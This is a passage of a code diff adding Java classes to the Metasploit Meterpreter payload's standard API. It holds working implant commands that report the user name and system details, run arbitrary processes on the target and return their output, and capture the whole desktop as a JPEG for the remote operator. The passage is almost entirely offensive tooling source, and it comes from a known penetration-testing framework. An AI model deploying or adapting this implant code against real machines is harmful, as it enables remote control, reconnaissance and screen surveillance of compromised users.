protected void shutdown(Socket socket, int how) throws IOException {
switch (how) {
case 0: // shutdown reading
socket.shutdownInput();
break;
case 1: // shutdown writing
socket.shutdownOutput();
break;
case 2: // shutdown reading and writing
socket.shutdownInput();
socket.shutdownOutput();
break;
default:
throw new IllegalArgumentException("Invalid value for TLV_TYPE_SHUTDOWN_HOW: " + how);
}
}
}

View File

@ -0,0 +1,13 @@
package com.metasploit.meterpreter.stdapi;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_sys_config_getuid implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_USER_NAME, System.getProperty("user.name"));
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,16 @@
package com.metasploit.meterpreter.stdapi;
import java.net.InetAddress;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_sys_config_sysinfo implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_COMPUTER_NAME, InetAddress.getLocalHost().getHostName());
response.add(TLVType.TLV_TYPE_OS_NAME, System.getProperty("os.name") + " " + System.getProperty("os.version") + " (" + System.getProperty("os.arch") + ")");
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,54 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.util.StringTokenizer;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.ProcessChannel;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_sys_process_execute implements Command {
private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1);
private static int pid = 0;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String cmd = request.getStringValue(TLVType.TLV_TYPE_PROCESS_PATH);
String argsString = request.getStringValue(TLVType.TLV_TYPE_PROCESS_ARGUMENTS, "");
StringTokenizer st = new StringTokenizer(argsString);
String[] cmdarray = new String[st.countTokens() + 1];
cmdarray[0] = cmd;
for (int i = 0; i < st.countTokens(); i++) {
cmdarray[i + 1] = st.nextToken();
}
int flags = request.getIntValue(TLVType.TLV_TYPE_PROCESS_FLAGS);
if (cmd.length() == 0)
return ERROR_FAILURE;
Process proc = execute(cmdarray);
if ((flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) != 0) {
ProcessChannel channel = new ProcessChannel(meterpreter, proc);
synchronized (stdapi_sys_process_execute.class) {
pid++;
response.add(TLVType.TLV_TYPE_PID, pid);
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, pid);
}
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
} else {
proc.getInputStream().close();
proc.getErrorStream().close();
proc.getOutputStream().close();
}
return ERROR_SUCCESS;
}
protected Process execute(String[] cmdarray) throws IOException {
Process proc = Runtime.getRuntime().exec(cmdarray);
return proc;
}
}

View File

@ -0,0 +1,10 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
public class stdapi_sys_process_execute_V1_3 extends stdapi_sys_process_execute {
protected Process execute(String[] cmdarray) throws IOException {
Process proc = Runtime.getRuntime().exec(cmdarray, null, Loader.cwd);
return proc;
}
}

View File

@ -0,0 +1,5 @@
package com.metasploit.meterpreter.stdapi;
// Dummy class
public class stdapi_ui_desktop_screenshot {
}

View File

@ -0,0 +1,45 @@
package com.metasploit.meterpreter.stdapi;
import java.awt.GraphicsDevice;
import java.awt.GraphicsEnvironment;
import java.awt.Rectangle;
import java.awt.Robot;
import java.io.ByteArrayOutputStream;
import javax.imageio.IIOImage;
import javax.imageio.ImageIO;
import javax.imageio.ImageWriteParam;
import javax.imageio.ImageWriter;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_ui_desktop_screenshot_V1_4 extends stdapi_ui_desktop_screenshot implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int quality = request.getIntValue(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY);
response.add(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT, grabScreen(quality));
return ERROR_SUCCESS;
}
private byte[] grabScreen(int quality) throws Exception {
Rectangle screenBounds = new Rectangle();
GraphicsDevice[] devices = GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices();
for (int i = 0; i < devices.length; i++) {
screenBounds = screenBounds.union(devices[i].getDefaultConfiguration().getBounds());
}
ImageWriter writer = (ImageWriter) ImageIO.getImageWritersByFormatName("jpeg").next();
ImageWriteParam iwp = writer.getDefaultWriteParam();
if (quality >= 0 && quality <= 100) {
iwp.setCompressionMode(ImageWriteParam.MODE_EXPLICIT);
iwp.setCompressionQuality(quality / 100.0f);
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
writer.setOutput(ImageIO.createImageOutputStream(baos));
writer.write(null, new IIOImage(new Robot().createScreenCapture(screenBounds), null, null), iwp);
writer.dispose();
return baos.toByteArray();
}
}